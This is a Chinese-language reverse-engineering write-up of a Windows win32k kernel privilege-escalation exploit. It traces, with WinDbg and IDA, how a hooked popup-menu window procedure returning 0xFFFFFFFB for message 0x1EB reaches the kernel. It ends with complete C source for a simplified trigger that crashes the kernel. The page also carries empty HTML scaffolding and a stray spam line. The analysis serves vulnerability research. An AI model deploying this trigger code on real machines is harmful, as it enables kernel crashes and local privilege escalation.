<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/3331

                    0x00 簡介


                    通過VMware和Windbg搭建32位內核調試環境,系統為xp sp2,執行漏洞利用程序win32.exe calc.exe,彈出了一個SYSTEM權限的calc。

                    enter image description here

                    通過IDA分析win32.exe,可以看到signed int __cdecl sub_4010F2()函數通過調用ZwQuerySystemInformation泄露內核模塊ntkrnlpa.exe基址,最終得到PsLookupProcessByProcessId函數地址,該函數用于漏洞利用代碼。

                    enter image description here

                    sub_401830函數是漏洞利用代碼,完成權限提升操作。

                    enter image description here

                    0x01 調試過程


                    通過在函數上設置斷點,可以得到漏洞利用觸發位置。

                    enter image description here

                    可見是由TrackPopupMenu最終觸發了漏洞,調用點為call dwordptr[esi+20],此時esi的值為0xfffffffb。 通過函數調用棧,對esi值的來源進行反向跟蹤,可以知道在Menu的消息處理函數signed int __stdcall xxxHandleMenuMessages(int a1, int a2, int a3)中調用int __stdcall xxxMNFindWindowFromPoint(int a1, int a2, unsigned int a3)時返回了異常的值,最終觸發了漏洞。

                    enter image description here

                    通過對xxxMNFindWindowFromPoint的調用過程進行分析,找到異常的返回值是在int __stdcall SfnOUTDWORDINDWORD(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)中得到的。異常的值最終是由KeUserModeCallback函數通過v28指向的值返回。其中KeUserModeCallback函數的原型如下:

                    #!cpp
                    NTSTATUS
                    KeUserModeCallback (
                         IN ULONGApiNumber,
                         IN PVOIDInputBuffer,
                         IN ULONGInputLength,
                         OUT PVOID *OutputBuffer,
                         IN PULONGOutputLength
                         );
                    

                    enter image description here

                    內核態的KeUserModeCallback函數最終會調用ntdll中的KiUserCallbackDispatcher函數來調用用戶態回調函數,通過對KeUserModeCallbackKiUserCallbackDispatcher設置斷點,可以看到第一次處理0x1EB(MN_FINDWINDOWFROMPOINT)消息是通過xxxSendMessageTimeout中調用的xxxCallHook來調用用戶注冊的鉤子函數,在用戶空間里函數調用了USER32中的__fnOUTDWORDINDWORD函數,最終調用sub_401475(pfnFilterProc)函數。

                    enter image description here

                    enter image description here

                    enter image description here

                    程序在pfnFilterProc中通過SetWindowLongA設置PopupMenu的窗口消息處理函數,那么當xxxCallHook函數返回后,圖中的!(*(_BYTE *)(a1 + 22) & 4)條件成立,將執行xxxSendMessageToClient,該函數內將執行KeUserModeCallback,最終調用用戶態函數sub_4013F3

                    enter image description here

                    enter image description here

                    sub_4013F3函數尾部返回了0xFFFFFFFB。與KeUserModeCallback函數通過v28返回的值相等。為了進一步確認,修改sub_4013F3函數返回值為0xFFFFFFFF。可以看到v28指向的值變成了0xFFFFFFF

                    enter image description here

                    enter image description here

                    通過修改win32.exe中的指令,將0x40146D處的push 0FFFFFFFBh修改為push 0FFFFFFFFh,執行之后發現提權失敗。進一步確定由于內核的使用了異常的函數返回值,最終導致了權限提升。

                    enter image description here

                    可見在PopupMenu的窗口消息處理函數處理0x1EB的消息時,沒有判斷消息函數的返回值,最終導致了權限提升。 所以漏洞觸發的完整過程如下:通過模仿點擊事件,CreatePopupMenu創建的PopupMenu會收到0x1EB類型的消息,因為無法拿到PopupMenu的窗口句柄,程序并沒有辦法直接設置PopupMenu的窗口消息處理函數,因此首先通過SetWindowsHookExA注冊鉤子函數,在鉤子函數中得到PopupMenu的窗口句柄,再通過SetWindowLongA設置PopupMenu的窗口消息處理函數,注冊之后,xxxSendMessageToClient將調用新的窗口消息處理函數,接收并處理0x1EB的消息。 在新的窗口消息處理函數中,對于消息號為0x1EB的消息,函數返回了0xFFFFFFFB,最終觸發了漏洞。

                    enter image description here

                    0x02 觸發代碼


                    通過上面的分析,根據win32.exe中代碼,稍加簡化,可以得到如下的漏洞觸發代碼。

                    #!cpp
                    #include"stdafx.h"
                    #include<windows.h>
                    DWORD dword_40DA54=0,dword_40DA5C=0;
                    WNDPROC lpPrevWndFunc = NULL;
                    LRESULT CALLBACK sub_4014D2(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam )
                    {
                    if ( Msg == WM_ENTERIDLE )
                      {
                    if ( dword_40DA5C != 1 )
                        {
                          dword_40DA5C = 1;
                    //模仿點擊消息,觸發0x1EB消息處理,執行pfnFilterProc
                          PostMessageA(hWnd, WM_KEYDOWN, 0x28u, 0);
                          PostMessageA(hWnd, WM_KEYDOWN, 0x27u, 0);
                          PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);
                        }
                      }
                    return DefWindowProcA( hWnd,Msg,wParam,lParam);
                    }
                    int __cdecl sub_401306()
                    {
                      HMENU v0; // [email protected]
                      HMENU v1; // [email protected]
                      MENUITEMINFOA mi; // [sp+Ch] [bp-64h]@1
                      MENUITEMINFOA v4; // [sp+3Ch] [bp-34h]@1
                      HMENU v9; // [sp+6Ch] [bp-4h]@1
                    
                      v9 = 0;
                      memset((void *)&mi, 0, sizeof(mi));
                      memset(&v4, 0, sizeof(MENUITEMINFOA));
                      mi.cbSize = 48;
                      v0 = CreatePopupMenu();
                    if ( v0 )
                      {
                        mi.fMask = 64;
                    if ( InsertMenuItemA(v0, 0, 1, &mi) )
                        {
                          v4.fMask = 68;
                          v4.dwTypeData = (LPSTR)&dword_40DA54;
                          v4.cch = 1;
                          v4.hSubMenu = v0;
                          v4.cbSize = 48;
                          v1 = CreatePopupMenu();
                          v9 = v1;
                    if ( !v1 || !InsertMenuItemA(v1, 0, 1, (LPCMENUITEMINFOA)&v4) )
                          {
                            DestroyMenu(v0);
                    if ( v1 )
                              DestroyMenu(v1);
                          }
                        }
                    else
                          DestroyMenu(v0);
                      }
                    return (int)v9;
                    }
                    
                    unsigned int __stdcall sub_4013F3(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
                    {
                    if ( Msg != 0x1EB )
                    return CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam);
                    return 0xFFFFFFFBu;//返回xFFFFFFFB,觸發漏洞
                    }
                    
                    LRESULT __stdcall pfnFilterProc(int nCode, WPARAM wParam, LPARAM lParam)
                    {
                    if ( *(DWORD *)(lParam + 8) == 0x1EB )
                      {
                            UnhookWindowsHook(4, pfnFilterProc);
                            //設置PopupMenu的窗口消息處理函數
                            lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)sub_4013F3);
                      }
                    return CallNextHookEx(0, nCode, wParam, lParam);
                    }
                    
                    int __stdcall Exp()
                    {
                    int v1; // [email protected]
                      DWORD v2; // [email protected]
                    int result; // [email protected]
                      HWND hWnd; // [sp+10h] [bp-58h]@2
                    signed int v5; // [sp+14h] [bp-54h]@1
                      LPVOID lpAddress; // [sp+18h] [bp-50h]@1
                    struct _SYSTEM_INFO SystemInfo; // [sp+1Ch] [bp-4Ch]@1
                      WNDCLASSA WndClass; // [sp+40h] [bp-28h]@1
                      v5 = 0;
                      lpAddress = 0;
                      memset(&SystemInfo, 0, 0x24u);
                      memset(&WndClass, 0, 0x28u);
                      WndClass.lpfnWndProc = (WNDPROC)sub_4014D2;
                      WndClass.lpszClassName = "woqunimalegebi";
                      GetNativeSystemInfo(&SystemInfo);
                    if ( 
                    SystemInfo.dwOemId != 9
                    && (RegisterClassA(&WndClass)
                    &&(hWnd = CreateWindowExA(0, WndClass.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0)) !=0) 
                    )
                      {
                    v1 = 0;
                    v5 = 1;
                        v1 = sub_401306();
                        if ( v1 )
                        {
                            v2 = GetCurrentThreadId();
                            SetWindowsHookExA(4, pfnFilterProc, 0, v2);
                            TrackPopupMenu((HMENU)v1, 0, 0xFFFFD8F0u, 0xFFFFD8F0u, 0, hWnd, 0);
                        }
                        DestroyWindow(hWnd);
                    if ( v1 )
                          DestroyMenu((HMENU)v1);
                        UnhookWindowsHook(4, pfnFilterProc);
                    if ( v5 )
                          VirtualFree(lpAddress, 0, 0x8000u);
                        result = 0;
                      }
                    else
                        result = 0;
                    return result;
                    }
                    
                    int _tmain(int argc, _TCHAR* argv[])
                    {
                        Exp();
                        return 0;
                    }
                    

                    編譯執行之后,可以看到觸發了異常。

                    enter image description here

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频